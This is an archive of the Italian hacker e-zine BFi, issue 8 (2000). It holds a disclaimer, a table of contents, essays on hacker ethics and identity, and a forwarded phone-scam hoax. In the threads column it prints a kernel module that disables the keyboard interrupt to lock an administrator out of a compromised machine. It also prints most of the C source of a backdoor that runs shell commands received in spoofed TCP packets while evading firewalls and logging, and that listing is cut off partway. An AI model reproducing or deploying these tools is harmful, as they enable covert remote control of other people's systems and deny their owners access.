BFi-8/ 40755 0 0 0 7102665502 7650 5ustar rootrootBFi-8/BFi08-01100755 0 0 14130 7102665470 10744 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 1 di 28 ]------------- ============================================================================== -[ DiSCLAiMER ]--------------------------------------------------------------- Tutto il materiale contenuto in BFi ha fini eslusivamente informativi ed educativi. Gli autori di BFi non si riterranno in alcun modo responsabili per danni perpetrati a cose o persone causati dall'uso di codice, programmi, informazioni, tecniche contenuti all'interno della rivista. BFi e' libero e autonomo mezzo di espressione; come noi autori siamo liberi di scrivere BFi, tu sei libero di continuare a leggere oppure di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati e/o dal modo in cui lo sono, * interrompi immediatamente la lettura e cancella questi file dal tuo computer * . Proseguendo tu, lettore, ti assumi ogni genere di responsabilita' per l'uso che farai delle informazioni contenute in BFi. Si vieta il posting di BFi in newsgroup e la diffusione di *parti* della rivista: distribuite BFi nella sua forma integrale ed originale. ------------------------------------------------------------------------------ -[ iNDiCE ]------------------------------------------------------------------- ---[ iNTR0 BFi08-01 01 FuSyS ---[ C0LUMNS BFi08-02 ETiCA: PRiMA RiSCRiTTURA \sPIRIT\ BFi08-03 ETiCA: HACKERS valv{0} BFi08-04 MATRiX: ViTA SCANNATA Nello|Z BFi08-05 THREADS vari BFi08-06 NEWS BlackBerry BFi08-07 MAiLB0X Cavallo ---[ HACKiNG BFi08-08 BSD KERNEL: AGiRE SULLE R0UTiNE Di iNTERFACCiAMENT0 TRA PR0T0C0LL0 E S0CKET pIGpEN BFi08-09 BSD KERNEL: AGiRE SULLE iNTERFACCE Di RETE pIGpEN BFi08-10 HACKiNG iPFiLTER ViA LKM pIGpEN BFi08-11 UTiLiZZARE LE STRUTTURE Di STATiSTiCA DEL KERNEL pIGpEN BFi08-12 FADE TO BLACK DEL PROMISC MODE... MA... pIGpEN BFi08-13 DDoS PET-NEMESiS: SP00FiNG DETECTi0N FuSyS & pIGpEN BFi08-14 0MBRE E LUCi DEL KERNEL LiNUX 2.2.X: oMBRa LKM FuSyS BFi08-15 0MBRE E LUCi DEL KERNEL LiNUX 2.2.X: LuCe LKM FuSyS BFi08-16 SNMP C0MMUNiTY NAME SNiFFER del0rean BFi08-17 SRAW Gigi Sullivan ---[ CRYPT0GRAPHY BFi08-18 RSA E CRiTT0GRAFiA SiMMETRiCA FTM valv{0} & vecna ---[ PHREAKiNG BFi08-19 CARD, CARDiNG? N0! - PARTE II RigoR MorteM ---[ REVERSiNG BFi08-20 PR0GETT0 AN0 +MaLaTTiA ---[ ViRii BFi08-21 BEH0LDER 1.03 NaGA ---[ MiSCELLANE0US BFi08-22 LiNUX ViRTUAL SERVER - HiGH AVAiLABiLiTY felipe BFi08-23 LKM: TR0VARLi pIGpEN BFi08-24 ARRAY E PUNTAT0Ri |scacco| BFi08-25 PF_* E AF_*: iL DiLEMMA C0NTiNUA? pIGpEN BFi08-26 i PADR0Ni DELLA RETE C. Gubitosa & V. Moccia BFi08-27 C0FFEE-WARE pIGpEN BFi08-28 SNiP2 pIGpEN ------------------------------------------------------------------------------ -[ iNTR0 ]-------------------------------------------------------------------- ---[ 01 - FuSyS D'accordo. Non ce l'abbiamo fatta. =) Facile da ammettere, difficile da esonerare in un bit-bucket, sembra che tale abitudine ci rimanga incollata come un cap_t un tantino costringente... Siamo ancora in ritardo. Quanto meno, il ritardo accumulato tra il numero 7 ed il numero 8 e' risibile rispetto al precedente lasso di tempo passato a gingillarci. Ma che ci volete fare? Evidentemente gli anni passano =) e sempre meno tempo ci rimane per conciliare impegni, tempo perso e lavoro sulla zine. Oltretutto se ricevessimo piu' articoli, sarebbe per noi piu' semplice consegnare la draft in tempo, ma cosi' non e'. Ma ora il numero 8 l'avete. Codice, interessanti peek nei kernel, lavori in assembler, networking e sicurezza. In attesa dell'evento del forte, la 'kermesse romana della tecnologia antagonista' come almeno un giornalista la descrivera' con occhio al prosciutto e cerebro becero ;P Signori ....... BFi8. FuSyS Libro del Mese: Sinkov, Elementary Cryptanalysis. A mathematical approach New Mathematical Library, ISBN 0-88385-622-0 ------------------------------------------------------------------------------ -[ REDAZi0NE ]---------------------------------------------------------------- bELFaghor - Black Berry - Cavallo - |CyRaX| - del0rean - felipe - FuSyS - gigi_sull - Carlo Gubitosa - +MaLaTTiA - Vittorio Moccia - NaGA - Nello|Z - Noxious - pIGpEN - RigoR MorteM - |scacco| - smaster - smilzo - \sPIRIT\ - valv{0} - vecna -[ WEB ]---------------------------------------------------------------------- http://www.s0ftpj.org/bfi/ http://www.bfi.cx http://bfi.itapac.net http://www.ecn.org/zero/bfi/ -[ E-MAiL ]------------------------------------------------------------------- bfi@s0ftpj.org -[ PGP ]---------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- ============================================================================== ---------------------------------[ EOF 1/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-02100755 0 0 22676 7102660046 10755 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 2 di 28 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ ETiCA: PRiMA RiSCRiTTURA -----[ \sPIRIT\ a.k.a. Roberto Calcinelli Se state veramente leggendo qui vuol dire che le mie riflessioni hanno finalmente trovato una conclusione logica, dopo essersi dipanate per svariati mesi su strade lastricate di psicofarmaci e lacrime fin troppo tangibili. Non sono qui per raccontarvi la storia della mia vita, non vi interessa e non credo vi interessera' mai, cosi' come la vostra non interessa a me, la questione e' che forse bisogna ricominciare a considerare i meccanismi che muovono piu' il nostro essere persone piuttosto che le giunture di polsi e dita. Se avete scaricato questo numero di BFi evidentemente avete certi interessi che esulano dal taglio e cucito, quando non e' inteso come taglia e incolla, provate tutti le stesse paure davanti ad un monitor nero a fosfori verdi che sputa minacce proferite chissa' dove da chissa' chi, magari siete considerati malati perche' passate il vostro tempo davanti ad uno scatolotto grigio e perche' parlate una lingua strana, discutete volentieri di alcune cose e ne ignorate altre volutamente con una sorta di ostico misticismo. Probabilmente, anzi sicuramente, vi nascondete dietro un nickname, che ha significato solo per voi stessi ed e' scritto in competizione per il trofeo del piu' originale origami composto da angoli di meno di 127 bytes, perche' fa' piu' 3l33t ed e' pure universalmente portabile. Qualcuno dice che e' per questioni di privacy, che non vuole sbattere agli occhi di tutti la possibilita' di intromettere parti del corpo a caso in fatti piu' o meno interessanti della propria vita, ed e' un comportamento tutto sommato accettabile, considerando che comunque lo sport nazionale ormai e' non farsi piu' i cazzi propri. Altri reputano che il proprio nickname protegga come un Padre Pio da eventuali noie e grattacapi derivanti dal proprio hobby, ma a questo punto si tratta di persone senza la coscienza, o la conoscenza se preferite, sufficiente per conoscere il limite del gioco e l'inizio del rischio. La domanda sorge spontanea: DI COSA AVETE PAURA? Ma ci avete mai pensato, nel corso dei vostri viaggi allucinogeni giornalieri da sostanze artificiali a base di silicio, che forse interessate piu' per le vostre conoscenze che per la vostra abilita' a nascondersi dietro false immagini concorrenziali alla moda? Che il Timothy Leary nascosto in voi abbia i suoi trip nei cavi di rete di mezzo mondo solo per la genialita' nascosta all'interno del vostro essere persone e non ombre? L'impersonificazione virtuale del proprio ego non corrisponde sempre alla reale essenza che si cela dietro, il reale e il virtuale collidono sonoramente alla prima consapevolezza di essere stati, in qualche modo, fregati da se stessi, dal proprio doppio che prende lentamente il sopravvento anche la mattina quando ci si sveglia, con gli occhi pesti per una lunga notte davanti ad un monitor a basso refresh. * Jaron Lanier telnets into real life... Lo conoscete? Nel vostro bagaglio di ammuffita cybercultura dei tardi anni novanta avete mai incontrato un capellone incapsulato nel suo dataglove alle prese con paranoie tridimensionali e oggettistica trigonometrica? L'ipermetropia affligge i soggetti troppo inclini a persuadere una collezione inflazionata di persone che in fin dei conti l'entita' con la quale parlano merita la venerazione di un dio. La magia, del resto, svanisce quando la maschera cade. Senza maschera, nudo cosi' come si era iniziato, nessuno e' piu' la star che era diventato, cade l'alone di mistero e cresce la compassione per uno dei poveri folli che ha deciso di uscire allo scoperto dal caldo accogliente della sua identita' scrupolosamente autocostruita. Ma ognuno e' libero di operare una scelta oculata, di scegliere una politica, una linea di pensiero, di dare un taglio particolare alla propria giornata, che sia trascorsa in rete in piccole stanzette sature di fumo e spazzatura, o fuori sotto un tiepido sole. Il problema in realta' e' un'altro, l'assorbimento della propria personalita' in un un'altra, artificiosa, che piano piano mangia le scarse risorse e il proprio essere unici. Ve ne sarete forse accorti, sono cose che capitano prima o poi, quando la memoria del cellulare e' piena solo di nick astrusi, quando gli amici non vi chiamano piu' col vostro nome di battesimo, quando siete riconosciuti solo ed esclusivamente per quella sudata manciata di kilobytes che riuscite a sparare quotidianamente in rete, mentre fuori da quella, lontano dalla psichedelia rassicurante delle luci del vostro modem, nemmeno si ricordano piu' chi siete. A questo punto avete tranquillamente il diritto di sentirvi rimpiazzati dalla vostra ombra, e potete andare a dormire con la consapevolezza che c'e' chi vive benissimo al posto vostro. Chi ha la pretesa, a torto o ragione, di dire che fa' della sicurezza informatica e non dell'hacking spicciolo a puntate per giovani svogliati potrebbe anche considerare di non nascondere per sempre la testa sotto la sabbia come gli struzzi, che in fin dei conti un nickname in rete non e' piu'rassicurante di un proteggislip, e di portare allo scoperto la propria attivita' andando fieri delle proprie idee e della propria personale religione del Dio Modem. Anche perche' alla fine gli hackers, quelli veri (secondo non la definizione del jargon, ma per l'idea comune), non si vedono lo stesso, o se si incontrano di sfuggita in qualche chat a luci rosse passeranno inosservati e non saprete mai essere tali. E gli altri? Voi, me? Si va' avanti nel girotondo di stupide shell taiwanesi o koreane per darsi una ragione o delle semplici arie, per dire "io l'ho fatto, ho preso la mia prima Redhat 5.0"? E' questa la magra soddisfazione che ricavate dalla spinta ideologica che avete ricevuto come per magia? La voglia di pavoneggiarsi di fronte agli altri e' piu' grande della curiosita' che anima da sempre, in diverse manifestazioni, generazioni intere di informatici? Allora continuate ad usare il vostro nickname da festa e a sporcare log di macchine protette alla meno peggio, a installare bot, a farvi il vhost, a uscire su irc come root dalla prima shell raccattata su Panorama, la questione puo' essere tranquillamente ignorata. Ma fermatevi per un attimo, non fatevi cogliere con le mani nel barattolino del telnet solo un secondo, e pensate a quello che fate. Vi sentite parte di un qualcosa come la "scena underground italiana", pace all'anima sua? Siete strettamente schiavi della paranoia da log, vi vergognate cosi' tanto delle vostre azioni, se non intraprese nella rilassante penombra della stanzetta fumosa e invece a spese di qualche ignaro sysadmin che rischia il posto per colpa vostra? Ora magari siete offesi a sentir sparare a zero sulla poca competenza tecnica e teorica della fetta piu' grande di utenti, e parlo di utenti come fruitori passivi, della grande madre rete? E' per questo che ci si nasconde dietro a qualche carattere ascii in combinazione incrociata funambolica? Alzi ora la mano a chi manca il water superaccessoriato con connessione USB presentato all'ultimo SMAU... Siamo stati capaci di tutto, di coprire di merda gente mai vista di persona, di permetterci di sentirci superiori come esseri umani su altri esseri umani solo per la lunghezza del proprio bouncer o la dimensione della banda della shell, portando a compimento le teorie di Freud sull'ossessione dell'uomo riguardo alla grandezza, abbiamo commesso il peggior crimine concepibile, passando ore e ore in insipido cybersex che bene che andasse regalava un lieve formicolio causato dalla permanenza della lingua a contatto col monitor. Siamo riusciti ad innamorarci di uomini pelosi in canottiera con la tastiera cordless sulle ginocchia, e ad ignorare invece la persona giusta che siede due banchi piu' in la' ogni mattina e riempie le pagine della Smemoranda Duemela di dediche che tanto non arriveranno mai a destinazione perche' "il dominio non e' nella lista degli host ammessi". Quanto tempo serve per capirlo? Io amo Simona, voi chi amate, Napster o Eudora? Per me e' arrivata l'ora di rompere il muro di silenzio che mi sono costruito attorno, chi vorra' capire questa scelta ha tutti i numeri in tasca per una riflessione sulle motivazioni che ci hanno spinto a giocare a nascondino, a gatto col topo, a moscacieca con entita' invisibili e quasi leggendarie. Se si fa' una scelta e' giusto seguirla fino in fondo. Il passato ha un valore nel momento in cui insegna qualcosa, e da questo qualcosa si parte per creare un nuovo futuro. E' inutile rotolarsi in una condizione di comodo, basarsi sulle esperienze degli altri, il fuoco non brucia finche' non ci si mette la mano, ma finche' non ci si mette la mano non potremmo mai dire con certezza che brucia. Ho fatto la mia scelta, non mi aspetto di essere seguito, e non sto' chiedendo a nessuno di farlo, a voi, come sempre, spetta l'ultima parola su una parte, credo importante, della VOSTRA vita. E pace a chi quella notte ha avuto il coraggio di bruciare Chrome. - Roberto Calcinelli - a.k.a. \sPIRIT\ @ s0ftpr0ject 2000 ============================================================================== ---------------------------------[ EOF 2/28 ]--------------------------------- ============================================================================== BFi-8/BFi08-03100755 0 0 22416 7102660046 10746 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 3 di 28 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ ETiCA: HACKERS -----[ valv{0} http://www.valvoline.cjb.net ------------------------------------------------------------ Hackers - Piaga del Nuovo Millennio o Corrente di Pensiero ? ------------------------------------------------------------ Written by: valv{0} / s0ftpj / Valvoline's Researching LABS. Date: 06/03/2000 ------------------------------------------------------------ -------------- Mi sembra giusto precisare che il presente articolo, o lettera che dir si voglia, scritta per la rivista telematica: BFi (Butchered From Inside - http://www.s0ftpj.org) e' stata inviata in "carbon copy" alle seguenti testate giornalistiche: "L'Espresso", "La Repubblica", "Il Manifesto", "L'Unita'" -------------- 18.35. Sorseggio un'aranciata. Sono contento, gioioso. Oggi, ho finalmente completato quell'esame che mi teneva da tre mesi con il fiato sospeso. Un'occhiata veloce alla posta: "You've New Mail!". Scorro le email velocemente. Niente di interessante, rispondero' a tutti piu' in la'. Libero di pensare. Riflettere. La mia mente scorre veloce, frenetica. Senza Sosta. Al limite della normale comprensione. Focalizzo la mia attenzione sugli ultimi avvenimenti. L'attualita' piu' attuale, lo scempio del nuovo millennio, il terrore dei governi: gli Hackers. Mi sforzo, tento con tutto me stesso, cerco di impersonarmi in questi strani "esseri", descritti dalla stampa mondiale. Non ci riesco. Leggo un editoriale di "L'Espresso" (02/03/2000). Umberto Eco: "Lo Hacker e' essenziale al sistema.", finalmente qualcosa di interessante da leggere; riflessioni di un uomo che ho sempre stimato, mi dico. Metto su' una bella playlist MP3 e mi immergo nella lettura. Gioia. Stupore. Vergona. Non credo ai miei occhi. Ripasso piu' volte su ogni frase. Soppeso il senso, ne cerco un significato trasversale, parallelo. Non c'e'. Sono riflessioni. Cosi' sembrano. Un lungo monologo. Tre colonne introduttive a parlare di aerei a motore, dirottatori con pistole giocattolo, motori e presunte doti da pilota automobilistico, del sig. Eco: ".... L'automobile che guido ora fa delle cose che la vecchia seicento su cui ho preso la patente non si sognava neppure, ma se avessi dovuto cominciare allora con la mia macchina di adesso mi sarei gia' sfracellato da qualche parte. .... Per fortuna sono cresciuto con le mie macchine, adattandomi a poco a poco all'incremento della loro potenza. .... Il nostro Corpo coi suoi riflessi non farebbe in tempo ad adattarsi ad automobili che migliorassero le loro prestazioni ogni due mesi. Per fortuna le Automobili costano troppo e le autostrade sono quello che sono. ...." Mi soffermo. Non voglio credere. Accendo una sigaretta. Rigiro il giornale, cercando una spiegazione a tutto questo. Mi faccio coraggio. Continuo nella lettura, cercando il cuore, il senso di tutto questo: "..... Chi e' che ha tempo ventiquattro ore al giorno per capire le nuove possibilita' del proprio mezzo? Lo Hacker, che e' una specie di stilida del deserto che dedica l'intera giornata alla meditazione (elettronica). ..... sono tutto cosi', grassi, impacciati, mal sviluppati, cresciuti solo davanti allo schermo. ..... essi hanno il tempo di capire tutto quello che possono fare la macchina e la rete, ma non di elaborarne una nuova filosofia e di studiarne le applicazioni positive, per cui si dedicano alla sola azione immediata che la loro disumana competenza gli concede: il dirottamento, il disturbo.... ......" Non riesco a capire. Non posso credere che una persona dalle indiscusse doti intellettuali quale il sig. Eco, possa cadere in un qualunquismo cosi' profondo da fare quasi paura. Terrore. Cerco delle motivazioni. Forse, mi dico, si crede che questo strano essere chiamato "Lo Hacker", grasso e pieno di brufoli - non sono parole mie - non legga i giornali? Una mossa sociale e/o politica per diffamarlo prima ancora di conoscerlo? Sono forse degli stati d'animo? Come bisogna interpretare queste parole? Faccio un balzo indietro. Torno con la mente a quando ho iniziato ad interessarmi di computer. Capogiro. Non pensavo di ricordare cosi' nitidamente quel periodo. Erano tempi in cui con il computer potevi al massimo tenerci l'archivio dei numeri telefonici. Sorrido con gioia. Io c'ero. Ho sempre amato questa branca della scienza, della tecnologia. L'ho sempre seguita passo per passo, attentamente. L' "Underground Informatico", puo' farsi forte di un vasto bagaglio tecnico, morale ed etico; per queste ragioni non mi sembra corretto etichettare tutta la popolazione di questo "villaggio virtuale" come "Cyber-Criminali", grassi, cicciotelli e senza una coscienza morale, politica e sociale. Gli "Hackers", come li defini' Lord Mentor nel suo "Manifesto dell'Hacker", sono menti votate alla ricerca e alla comprensione di quel mondo che ci appare e ci scappa cosi' velocemente da negarci l'opportunita' di tenerlo tra le mani. Gli "Hackers", cercano nelle cose e nel mondo che li circonda quelle facce, quegli aspetti e quel senso che ai piu' rimane nascosto per sempre. L'accesso non autorizzato ad un sistema e' solo un aspetto di una problematica molto piu' complessa. Si parla di "Crociate" contro gli Hackers, quasi di una persecuzione nei loro confronti. Senza cercare di capirne le esigenze, le idee. Non e' forse questo il primo dovere dello Stato? Capire, interpretare ed eventualmente assecondare le esigenze del suo popolo? Non vogliate trovare e/o carpire una condotta politica in tutto questo. Non c'e'. Per il semplice fatto che non ci sentiamo in grado, o forse non ne sentiamo il bisogno, di identificarci e metterci al riparo dietro un qualunquismo politico inutile. L'uomo e' nato ed e' il prodotto di secoli di evoluzione. Perche' provare a limitare ed offuscare il suo ingegno, il suo intelletto, dietro grossi piani di censura globale? I recenti attacchi sferrati contro "Yahoo.com", "Ebay.com", "CNN.com" e definiti dai mass-media come l'operato di pericolosi criminali, nascondono in realta' problematiche ed aspetti ben diversi. Senza volere scendere in dettagli puramente tecnici, in realta' non e' stato effettuato nessun accesso "Non Autorizzato", non e' stato perpetrato nessun attacco interno alle macchine. Gli attacchi in questione, sono stati portati a termine sfruttando debolezze presenti da sempre nel sistema di trasmissione delle informazioni su internet. Non potrebbe essere questo il senso di tutto? Non potrebbe essere questo il vero obiettivo su cui focalizzare l'opinione pubblica? Fantasiose congetture e non meno fantasiosi giornalisti ci portano ad immaginare pericolosi criminali riparati da schermi digitali che attaccano sistemi dietro lauti compensi di grosse multinazionali quotate in borsa. Altre, peggio ancora, ci portano alla mente l'idea di goffi personaggi, che attaccano, saccheggiano, destabilizzano il prossimo e i suoi strumenti, come riscatto e vendetta contro un mondo che non li capisce. Perche' non ricordare, allora, quello che gli Stati Uniti stanno tentando in questo momento? Limitare, abbattere e distruggere la privacy dei cittadini, facendosi forti di fonti ben poco attendibili, che parlano di piani criminali ed associazioni di Hackers Mondiali pronte a sferrare attacchi globali. Non potrebbe essere, allora, tutto un grosso piano ben articolato e molto spettacolare per controllarci tutti? Non dimentichiamo che "Echelon" e' una realta' . Quello che mi preme di sottolineare e' l'importanza della conoscenza e dell'informazione. Questo e' il vero punto su cui fare forza e focalizzare l'opinione pubblica. Questo e' il vero motore ispiratore dei cosidetti "Hackers", che non sono strani scherzi della natura con la sola e magra consolazione del computer e del modem. Sarebbe davvero stupido, cattivo e limitante etichettarli cosi'. Sia ben chiaro che non vogliamo giustificare in nessun modo questi atti. Vogliamo soltanto provare a darne una nuova chiave di lettura alla massa. Quello che a nostro parere dovrebbero fare i mass-media e chiunque si arroghi il diritto di fare informazione. - (Crediti e Ringraziamenti) ---------------------------- vecna - per il supporto morale, tecnico e per un futuro lavoro insieme \sPIRIT\ - per la competenza assembler, la simpatia e la disponibilita' Berry - per tutto quello che ha fatto e continua a fare smaster - per la sua insuperabile professionalita' - Tutta s0ftPj, per il grande lavoro che ha fatto e continua a fare - R. Rivest, A. Shamir e L. Adleman., per la scoperta, l'implementazione e la codifica di RSA - La mia ragazza, per il suo supporto morale e di altro tipo! :) - Il mio professore di C, per la sua immensa disponibilita' e competenza ...tutti quelli che non mi tornano in mente! valv{0} / s0ftpj / Valvoline's Researching Labs. e' raggiungibile ai seguenti indirizzi: email: valvoline@tiscalinet.it valvoline@immagika.org web: http://www.valvoline.cjb.net ============================================================================== ---------------------------------[ EOF 3/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-04100755 0 0 5471 7102660046 10731 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 4 di 28 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ MATRiX: STRALCi Di ViTA QU0TiDiANA -----[ Nello|Z Vita Scannata. Le vedete le scintille? E' arrivata la nuova rubrica =) Ekkisenefrega direte voi, evvabeh mika si puo' vivere soltanto dei parti teknici delle menti malate di FuSyS, pIGpEN e soci (eheheh ciao ragazzi :DDD ) Dicevo stralci di vita quotidiana, ossia tutto quello ke succede nel mondo e ke ci capita in mano, di strano o particolarmente strano. Cosa ci riserva il primo numero? Una lettera infilata in ogni buketta di un palazzo a NewYorkCity (wow). "Ma ke kazzo ci stavi a fare a NYC?" Mikka e' colpa mia se ho la ragazza la', internet e' anke questo =) --- snip --- 2/2/00 TO: All Residents I received this E-Mail today concerning a telephone scam. You may wish to inform your friends and family. Phone Scam? This is scary to think that our kids are answering the phones. important, please read. This can happen at home and at work, everyone should be aware... i've sent this to all my friends last Friday night and i've already had 3 email me and say that it's already happened to them. I received a telephone call from an individual identifying himself as an AT&T Service Technician that was running a test on our telephone lines. He stated that to complete the test we should touch nine (9), zero (0), pound sign (#) and hang up. Luckily, we were suspicious and refused. Upon contacting the telephone company we were informed that by pushing 90# you end up giving the individual that called you access yourtelephone line and allows them to place a long distance telephone call, with the charge appearing on your telephone bill... We were further informed that this scam has been originating from many of the local jails/prisons. I have verified with UCB Telecomm. That this actually happens. I called GTE Security this morning and verified that this is definitely possible and DO NOT press 90# for ANYONE. It will give them access to your phone line to make long distances calls ANYWHERE!!!! The GTE Security department told me to go ahead and share this information with EVERYONE I KNOW!!! Could you PLEASE pass this on. If you have mailing lists and/or newsletters from organizations you are connected with, I encourage you to include this information. Brenda Colberg, Management Office --- snip --- ============================================================================== ---------------------------------[ EOF 4/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-05100755 0 0 63316 7102660046 10754 0ustar rootroot============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 5 di 28 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ THREADS -----[ Autori Vari -[ iNDEX --[ SBATTiAM0 FU0Ri L'ADMiN bELFaghor --[ SP00FED TCP SHELL |CyRaX| --[ SNiFFA CHE Si SNiFFA Noxious & smilzo -------------------------------------------------------- -[ SBATTiAM0 FU0Ri L'ADMiN --[ bELFaghor Quella che segue e' solo un'idea... semplice e banale... Come siamo abituati ad essere sbattuti fuori dall'admin, ora sbattiamo fuori l'admin dalla sua macchina: linenoise:~# cat /proc/interrupts 0: 397526 timer 1: 8129 keyboard 2: 0 cascade 4: 772 + serial : : : etc : linenoise:~# uname -r 2.0.36 linenoise:~# cat > ivoluan.c << STOP > #define __KERNEL__ > #define MODULE > > #include > #include > > #include > > int init_module(void) { > free_irq(1, NULL); > } > > void cleanup_module(void) { > printk("fuck the world i will deny you\n"); > } > > STOP linenoise:~# gcc -c ivoluan.c linenoise:~# insmod ivoluan.o Bene. Ora l'admin non potra' piu' interagire con la tastiera: non un singolo comando, non un interrupt, non un singolo bit mandato dalla tastiera sara' interpretato dal kernel. Il controllo della macchina sara' quindi solo prettamente remoto... e se chiudiamo fuori l'admin con hosts.deny, regole di fwing o quello che volete, il controllo della macchina sara' solo nostro... Ovviamente al reboot siamo punto e da capo... (nota: il reboot e' possibile solo spegnendo la macchina che non sync()era' i dati e via di fsck() ). Per una soluzione permanente bisognerebbe togliere il driver dal kernel ricompilandolo.. oppure caricare il modulo al boot.. insomma.. MAH ;-) Vedete voi ;-) ciauz, b. -------------------------------------------------------- -[ SP00FED TCP SHELL --[ |CyRaX| <-| stcpshell.c |-> /* Backdoor over non connected and spoofed tcp packets * Coded by |CyRaX| * Members Of Packets Knights Crew * www.programmazione.it/knights * This little backdoor works by sending data in tcp packets over tcp packets * without creating a connection. Simply we use the tcp that is a connection * oriented protocol as udp (connection less). * Why to do this : * - tcp loggers simpy log only the connection request * - firewalls can't block packets all the packets destinated to a port >= * 1024.. they logs only the packets with the SYN flag... but we don't * need it :) * Why this is better than backdoor over icmp or igmp : because a good admin * would simply blocks (or at least log) all those packets. But it's very hard * that he'll blocks all the tcp packets (or log them all) * Edit this code as you want (and correct all the bugs :P) */ #include #include #include #include #include #include #include #include #include /* USER SETUP * ports must be the same in the client and the server */ #define CLIENTPORT 1234 #define SERVERPORT 4321 /* Prototipi */ void uso(); void waitpkt(); void sendpkt(char *what, unsigned long int to); u_short in_chksum(u_short *ptr, int nbytes); /* Globals: */ int server=0; char victim[20]; int wait=1; int sock_waiting; char ourip[200]; /* some structs */ struct ippkt{ struct ip ip; struct tcphdr tcp; char something[12]; char data[1024]; }; struct pseudohdr { u_int32_t saddr; u_int32_t daddr; u_int8_t zero; u_int8_t protocol; u_int16_t lenght; }; /* Let's go !! :) */ int main(int argc, char **argv){ pid_t procid; struct ippkt pkt; char command[200]; srand(getpid()); if(argc<2){ uso(); exit(0); } if (strstr(argv[1],"-s")){ server=1; } else { strcpy(victim,argv[2]); strcpy(ourip,argv[3]); } sock_waiting=socket(AF_INET,SOCK_RAW,6); printf("Backdoor on non connected/spoofed tcp. Coded by |CyRaX|. cyrax@freemail.it\n"); printf("Members of Packets Knights Crew ! www.programmazione.it/knights\n"); if(server){ printf("Running in server mode. Forking and waiting for the data\n"); procid=fork(); if(procid!=0){ /* The parent dies. */ exit(0); } while(1){ waitpkt(); } } else { printf("Running in client mode. Sending data to %s.\n",victim); while(1){ printf("root@fucked.%s # ",victim); fgets(command,200,stdin); wait=1; sendpkt(command,inet_addr(victim)); while(wait){ waitpkt(); } } } } /* Functions that wait for packets */ void waitpkt(){ struct ippkt pkt; int howmany; struct sockaddr_in sin; int clen=sizeof(sin); FILE *job; char buff[200]; memset(&pkt,0,sizeof(struct ippkt)); howmany=recvfrom(sock_waiting,(struct ippkt *) &pkt,sizeof(pkt),0,(struct sockaddr *)&sin,&clen); if(ntohs(pkt.tcp.dest)==SERVERPORT && pkt.tcp.ack==0 && pkt.tcp.urg==0&&server){ job=popen(pkt.data,"r"); while(fgets(buff,199,job)!=0){ sendpkt(buff,pkt.tcp.seq); } strcpy(buff,"END_OF_PROCESS"); pclose(job); sendpkt(buff,pkt.tcp.seq); } if(ntohs(pkt.tcp.dest)==CLIENTPORT && pkt.tcp.ack==0 && pkt.tcp.urg==0&&!server){ wait=1; if(strstr(pkt.data,"END_OF_PROCESS")){ wait=0; } else{ printf("%s",pkt.data); } } } /* Functions that sends packets */ void sendpkt(char *what, unsigned long int to){ int sock; struct sockaddr_in from,temp; struct ippkt pkt; int hincl=1; int err; int s; struct ifreq ifr; struct pseudohdr psd; char *tosum; sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); memset(&pkt,0,sizeof(pkt)); setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&hincl,sizeof(hincl)); from.sin_addr.s_addr=to; from.sin_family=AF_INET; pkt.ip.ip_len=sizeof(struct ip)+sizeof(struct tcphdr)+12+strlen(what); pkt.ip.ip_hl=sizeof(pkt.ip)>>2; pkt.ip.ip_v=4; pkt.ip.ip_ttl=255; pkt.ip.ip_tos=0; pkt.ip.ip_off=0; pkt.ip.ip_id=htons((int)rand()); pkt.ip.ip_p=6; /* from www.microsoft.com .. you BETTER change this */ pkt.ip.ip_src.s_addr=inet_addr("207.46.131.137"); pkt.ip.ip_dst.s_addr=to; pkt.ip.ip_sum=in_chksum((u_short *) &pkt.ip,sizeof(struct ip)); if(server){ pkt.tcp.source=htons(SERVERPORT); pkt.tcp.dest=htons(CLIENTPORT); } else{ pkt.tcp.source=htons(CLIENTPORT); pkt.tcp.dest=htons(SERVERPORT); } if(server){ pkt.tcp.seq=666; } else{ pkt.tcp.seq=inet_addr(ourip); } /* SOME FLAGS */ pkt.tcp.ack=0; pkt.tcp.urg=0; pkt.tcp.window=1234; 